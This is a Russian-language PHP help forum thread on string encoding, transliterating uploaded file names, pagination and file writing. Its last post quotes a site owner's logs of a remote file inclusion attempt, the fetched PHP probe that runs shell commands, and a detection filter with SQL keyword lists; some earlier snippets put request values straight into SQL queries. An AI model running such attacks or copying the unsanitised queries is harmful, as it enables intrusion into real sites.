с iconv: PHP: $str=iconv("UCS-2", "UTF-8", $str); без iconv: PHP: function ucs2_to_utf8($s, $type = 'BE', $to_array = false) { static $types = array( 'BE' => 'n', #unsigned short (always 16 bit, big endian byte order) 'LE' => 'v', #unsigned short (always 16 bit, little endian byte order) ); if (! array_key_exists($type, $types)) { trigger_error('Unexpected value in second parameter, "' . $type . '" given!', E_USER_WARNING); return false; } $a = array(); foreach (unpack($types[$type] . '*', $s) as $c) { if ($c < 0x80) $a[] = chr($c); elseif ($c < 0x800) $a[] = chr(0xC0 ($c >> 6)) . chr(0x80 ($c & 0x3F)); else $a[] = chr(0xE0 ($c >> 12)) . chr(0x80 (0x3F & ($c >> 6))) . chr(0x80 ($c & 0x3F)); } return $to_array ? $a : implode('', $a); }
а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип
Ребят, че такое, вроде все правильно, файлы не до конца переименовывает. PHP: $ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я"); $tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja"); $attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.')); Вот весь код PHP: <? include("include/common.php"); if($loggedin){ include("include/accmenu.php"); } if( $_POST['submit'] && $_FILES['attached']['name'] ){ $ok_filetypes = explode("|",$att_filetypes); if (!$_FILES['attached']['error'] && $_FILES['attached']['size'] > $att_max_size*1024){ errform('<CENTER>Извините, слишком большой размер файла!</CENTER><BR><BR>'); // #err $step = 1; } $filename = (!$_FILES['attached']['error'] ? substr( basename($_FILES['attached']['name']), -30 ) : ''); $x = strtolower( substr($_FILES['attached']['name'], -3)); if($filename && !in_array($x, $ok_filetypes) ){ errform('<CENTER>Не поддерживаемый тип файла!!!</CENTER><BR><BR>'); $step = 1; } if(!$posterr){ if(!isset($_GET["ipaddress"]) || ($_GET["ipaddress"] == "")) { $ipaddress = $_SERVER['REMOTE_ADDR']; $local = 1; } else { $ipaddress = $_GET["ipaddress"]; $local = 0; } $ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я"); $tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja"); $attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.')); $uniq = strtolower(str_replace($ru,$tr,$attach_name)); $ext = substr($_FILES['attached']['name'], strrpos($_FILES['attached']['name'], '.') + 1); if (file_exists($att_path."/".$uniq.".".$ext)) $uniq = $uniq . '(copy)'; move_uploaded_file($_FILES['attached']['tmp_name'], $att_path."/".$uniq.".".$ext ); $strQuery = "INSERT INTO images25 SET "; $strQuery .= "filename='($uniq.$ext)',"; $strQuery .= "ipaddress='{$ipaddress}',"; $strQuery .= "date='".time()."',"; if($myuid){ $strQuery .= "user='{$myuid}',"; } $strQuery .= "status='1'"; $result = mysql_query($strQuery) or die( mysql_error() ); $aid = mysql_insert_id(); if($aid){ $filen = $siteurl."/".str_replace('./', '', $att_path)."/".$uniq.".$ext"; $filen = str_replace('http://','%%',$filen); $filen = str_replace('//','/',$filen); $filen = str_replace('%%','http://',$filen); //ITS AN IMAGE if($x=="jpg" or $x=="jpeg" or $x=="gif" or $x=="png" or $x=="jif" or $x=="jfif") { $filenx=$filen; } else { include("include/const.inc.php"); $filenx = $siteurl."/icons/".$Icons[$ext]; } $step = 2; }else{ $step = 1; } } }else{ $step = 1; } if($step == 1){ ?> Что такое немогу понять( Помогите кто может( Файл загружается но не переименновываеца до конца( остаюца русские буквы.
ну тут не сложно самому написать, переводишь всё в хекс и потом по массиву прогоняешь, вот табличка: http://stuffofinterest.com/misc/utf8.php?s=128 вот какой-то пример с http://php.off.co.il/manual/fr/function.iconv.php PHP: Here is how to convert UTF-8 numbers to UCS-2 numbers in hex: <?php function utf8toucs2($str) { for ($i=0;$i<strlen($str);$i+=2) { $substring1 = $str[$i].$str[$i+1]; $substring2 = $str[$i+2].$str[$i+3]; if (hexdec($substring1) < 127) $results = "00".$str[$i].$str[$i+1]; else { $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128)); if ($results < 1000) $results = "0".$results; $i+=2; } $ucs2 .= $results; } return $ucs2; } echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n"; echo strtoupper(utf8toucs2("456725"))."\n"; ?> Input: D985D8B1D8AD Output: 06450631062D Input: 456725 Output: 004500670025 ну тут в хексах, дальше просто сопоставить
Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие. С php.net:
Как вариант сдалать так: PHP: $ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я"); $tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja"); Или переопределить strtolower()
У меня выводит по 5 сообщений на одну страницу но проблема что если еще добавить сообщение после 5 сразу линк непоказывает как сделать что показывало ? PHP: // выбор коментарий function selcoment($id,$cst) { global $cpages; global $cst; $cpages = 5; if($cst == "") $cst = 1; $cstl = ($cst - 1)*$cpages; connect(); $q="select user.name, coment.id , coment.text,coment.date from coment, page,user where coment.pid = page.id and page.id=$id and user.userid = coment.userid limit $cstl,$cpages"; return $at = mysql_query($q); query_set($at); } //вывод коментарий function newcomentnav($morid) { $q ="select count(*) from coment,page where coment.pid = page.id and page.id=$morid"; $rc = mysql_query($q); $total = mysql_result($rc,0); $pnumber = $GLOBALS['cpages']; $number = (int)($total/$pnumber) ; if( (float)($total/$pnumber)- $number != 0) $number++; for($i =1 ; $i < $number ;$i++) { if($number == $i) { if($page == $i) echo ".(($i-1)*$pnumber+1)."-".$total."; else echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)*$pnumber+1)."-".$total."]</a> "; } else { if($page == $i) echo ".(($i-1)*$pnumber+1)."-".$i*$pnumber."; else echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)* $pnumber + 1)."-".$i*$pnumber."]</a> "; } } }
У меня несколько вопросов. Прошу помощи у знатоков. 1) Форма просто с кнопкой. Типа ОБНОВИТЬ которая передает переменную POST этой же странице... без инпутов и т.д. Работа аналогично F5. 2) PHP разбивка. Я получаю тект из <input в виде текста. И записываю в базу. но так как база не резиновая а текстовые файлы будет в данном случае не надежно мне надо чтобы они разбивались на предел ячейки базы тоесть 255 символов. Проще. Я получил переменну 1000символов. и делаю из нее 4 text1 text2 text3 text4 и записываю в соответствующие ячейки базы. ЗЫ: спасибо за помощ зарание.
' сам понял, чо спросил? Где в твоём примере 1) текст 2) текст2 3) текст3 ???? PHP: <?php $text1 = "1) текст"; $text2 = "2) текст2"; $text3 = "3) текст3"; $fp = fopen("counter.txt", "a"); // Открываем файл в режиме ДОБАВЛЕНИЯ записи в конец файла if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ fwrite($fp, $text1 . "\r\n"); // Запись в файл fwrite($fp, $text2 . "\r\n"); // Запись в файл fwrite($fp, $text3 . "\r\n"); // Запись в файл } fclose($fp); //Закрытие файла ?>
да тупанул) возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100 1) текст 2) текст2 3) текст3
PHP: function test($_POST){ { $fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи foreach($_POST as $key=>$value) { fwrite($fp,$value."\r\n"); } fclose($fp); } Frize,это?
Всем, добрый день! Такой вопрос: В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи: Code: WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt? WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt? Дата размещения: 20.02.09 - 03:51:50 WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt? Дата размещения: 20.02.09 - 03:51:50 Перейдя по адресу: http://www.igrawm.net.ru/404.txt? Видим следующий код: Code: <?php echo "Mic22"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } exit; Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться? P.S Вот код файла security.php с 177 по 188 строки: Code: foreach ($_GET as $var_name=>$var_value) { if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value.""); if ($security_url_get == 1) { if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value); } $security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i"; $security_decode = base64_decode($var_value); if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value.""); if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value.""); $security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value); if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value.""); }